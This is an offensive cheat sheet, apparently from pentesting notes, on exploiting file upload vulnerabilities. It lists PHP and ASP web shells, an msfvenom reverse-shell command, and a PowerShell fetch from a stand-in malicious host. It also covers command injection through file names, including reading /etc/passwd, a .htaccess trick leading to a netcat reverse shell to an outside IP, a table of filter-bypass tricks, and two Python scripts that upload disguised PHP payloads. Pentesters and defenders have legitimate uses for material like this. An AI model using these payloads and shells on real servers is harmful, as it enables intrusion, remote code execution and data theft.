Introduction¶
File Upload vulnerabilities occur when a web application file upload feature lacks robust validation, allowing attacker to upload harmful files. These files can execute malicious scripts or malware on the server, leading to unauthorized access or data breaches.
Impact of File Upload Vulnerabilities¶
The potential consequences of file upload vulnerabilities can vary greatly depending on the application’s code, the web server’s configuration, and the underlying operating system. The specific impact is highly influenced by how these elements are set up. Let's explore some common exploit scenarios, along with the conditions that could enable them:
Impact | Description |
---|---|
Remote Code Execution (RCE) | One of the most severe outcomes. Attacker can upload malicious files, such as web shells, granting them the ability to execute terminal commands on the server directly through a browser. |
Denial of Service (DoS) | If file size or quantity restrictions aren't enforced, attacker can overwhelm the server by uploading excessive files, consuming all available storage and rendering the application unusable. |
Web Defacement | If root directory permissions are improperly configured, attacker can overwrite legitimate website content, altering the appearance or functionality of the website. |
Phishing Pages | Attacker could modify existing pages to collect sensitive user information, redirecting the data to an external server under their control, often used for phishing attacks. |
One-Line Shell Payloads¶
- Basic PHP Execution: Executes a command passed via the x parameter.
<?='$_GET[x]'?>
- Basic PHP File Read: Displays the contents of the /etc/passwd file.
<?php echo file_get_contents('/etc/passwd'); ?>
- Basic PHP Command: Executes the hostname command on the server.
<?php echo system('hostname'); ?>
- PHP Web Shell: Enables dynamic command execution via a web interface, accepting commands via the 'cmd' parameter.
<?php if(isset($_REQUEST['cmd'])){ echo "<pre>"; system($_REQUEST['cmd']); echo "</pre>"; } ?>
- Basic ASP Web Shell: Executes commands on an ASP server using the
cmd
query parameter.
<% eval request("cmd") %>
- PHP Reverse Shell:Generates a PHP script for establishing a reverse shell connection.
msfvenom -p php/reverse_php LHOST=[IP-ADDRESS] LPORT=[PORT] -f raw > reverse.php
- PowerShell Web Shell: Uses PHP to invoke PowerShell for downloading and executing a remote script.
<?php echo shell_exec('powershell.exe -command "Invoke-WebRequest -Uri http://malicious.site/shell.ps1"'); ?>
Magic Byte Forgery¶
When an application uses a file's magic bytes to determine its content type, such as through PHP's mime_content_type function, security measures can be circumvented by forging the magic bytes of a permitted file type. For instance, if the application allows GIF images, we can manipulate the file's magic bytes to match those of a GIF (e.g., GIF89a) to trick the server into accepting it as a legitimate GIF file. This technique can be applied to various file types, as illustrated below:
File Type | Magic Bytes |
---|---|
GIF | GIF89a;\x0a |
%PDF- |
|
JPG / JPEG | \xFF\xD8\xFF\xDB |
PNG | \x89\x50\x4E\x47\x0D\x0A\x1A\x0A |
TAR | \x75\x73\x74\x61\x72\x00\x30\x30 |
XML | <?xml |
RCE via the File Name Parameter¶
If the application includes custom image processing / file manipulation, then it may be vulnerable to remote command execution via code injection in the file name.
Some example valid file names that could trigger commmand injection are the following:
File Name | Payload | Outcome |
---|---|---|
a$(whoami)z.jpg |
$(whoami) |
a[CURRENT USER]z.jpg |
a;sleep 30;z.jpg |
;sleep 30; |
The application will take 30+ seconds to respond |
a$(id)z.jpg |
$(id) |
a[USER ID INFORMATION]z.jpg |
a$(cat /etc/passwd)z.jpg |
$(cat /etc/passwd) |
a[CONTENTS OF /etc/passwd]z.jpg |
Uploading a .htaccess File (Apache Only)¶
Developers and security teams often blacklist specific file extensions but may overlook web server configuration files, making the .htaccess technique particularly dangerous and potentially capable of leading to Remote Code Execution (RCE).
How it works¶
-
Upload the .htaccess File: The attacker uploads the malicious .htaccess file to a directory on the server.
AddType application/x-httpd-php .evil
-
File Extension Handling: The .htaccess file redefines how the server processes files with the .evil extension, treating them as PHP scripts.
-
Execute Malicious Code: The attacker can then upload files with the .evil extension containing malicious PHP code, which the server will execute.you can use https://github.com/WhiteWinterWolf/wwwolf-php-webshell then upload nc and run it with
.\nc.exe 192.168.36.128 9001 -e cmd.exe
-
This technique depends on the following options being enabled (NGINX does not support .htaccess files, so this method applies only to Apache servers.):
File Bypassing Techniques¶
Explore methods to navigate through strict upload filters and security mechanisms:
Technique | Description |
---|---|
Null byte (\x00) injection | The null byte (\x00) is a control character used to signify the end of a string. Attacker can bypass file extension checks by appending %00 to a filename (e.g., shell.jpeg%00.php ), tricking the server into accepting disallowed extensions. |
Multi-dot extension bypass | Attacker can bypass file extension restrictions by using multiple dots in a filename (e.g., evil.php....jpg ), causing the server to misinterpret the file's actual extension. |
Case Sensitivity Exploitation | Attacker can exploit case sensitivity by changing the extension's case (e.g., shell.php becomes shell.pHP ), potentially bypassing security filters that only check for lowercase extensions. |
Special Character Embedding | Attacker can embed special characters in filenames (e.g., file.php#?.jpg ) to confuse file handling mechanisms and bypass security checks. |
Right to left override (rtlo) | Attacker can use the RTLO character to reverse the order of characters in a filename (e.g., filenamegpj.exe ), disguising the true file type. |
Content-type Duplication | Attacker can duplicate Content-Type headers in HTTP requests to bypass content-type restrictions and trick servers into processing malicious files. |
Unicode and url Encoding | Attacker can use Unicode and URL encoding to obfuscate filenames (e.g., file%20name.php ), making it harder for security mechanisms to detect malicious files. |
Advanced mime Manipulation | Attacker can set the Content-Type header to application/octet-stream to disguise the file type and bypass content-type based security checks. |
Hybrid file techniques | Attacker can create hybrid files containing both valid content and executable code (e.g., evil.jpg<?php echo $_GET['cmd']; ?> ), which can be interpreted differently by various applications. |
Deceptive path insertion | Attacker can insert deceptive paths in filenames (e.g., file.php/.jpg ) to mislead file handling mechanisms and bypass security checks. |
Mime type spoofing | Attacker can upload a malicious PHP file disguised as an image by setting the Content-Type to image/jpeg . |
Content-disposition manipulation | Attacker can manipulate the Content-Disposition header to suggest a misleading filename (e.g., Content-Disposition: attachment; filename="shell.php.jpg" ). |
Obfuscated Extensions | Attacker can use obfuscated extensions (e.g., .php, .php2, .php3, .php4, .php5, .php6, .php7, .phps, .pht, .phtm, .phtml, .pgif, .shtml, .phar, .inc ) to bypass security checks. |
Automating Content-Type Duplication (Python)¶
import requests
from requests import Request, Session
url = 'http://[DOMAIN-NAME]/upload'
file_path = 'path/to/malicious.php'
file_name = 'malicious.php'
# Prepare the malicious file payload
files = {'file': (file_name, open(file_path, 'rb'), 'image/jpeg')}
# Create a request and prepare to send
req = Request('POST', url, files=files)
prepared = req.prepare()
# Duplicate Content-Type headers
prepared.headers['Content-Type'] = 'image/jpeg'
prepared.headers.add_header('Content-Type', 'application/x-php')
# Use Session to send the prepared request
with Session() as s:
response = s.send(prepared)
print(response.status_code, response.text)
Magic Byte Injection Script (Python)¶
import requests
def add_magic_bytes(file_path, output_path):
"""Prepends GIF magic bytes to a file."""
with open(file_path, 'rb') as f:
content = f.read()
with open(output_path, 'wb') as f:
f.write(b'GIF89a' + content)
def upload_file(url, file_path):
"""Uploads a file to a server."""
files = {'file': ('fakeimage.gif', open(file_path, 'rb'), 'image/gif')}
response = requests.post(url, files=files)
return response
# Paths and URL
original_php_path = 'path/to/original_payload.php'
modified_php_path = 'path/to/modified_payload.gif'
upload_url = 'http://[DOMAIN-NAME]/upload'
# Add magic bytes and upload
add_magic_bytes(original_php_path, modified_php_path)
response = upload_file(upload_url, modified_php_path)
print(response.status_code, response.text)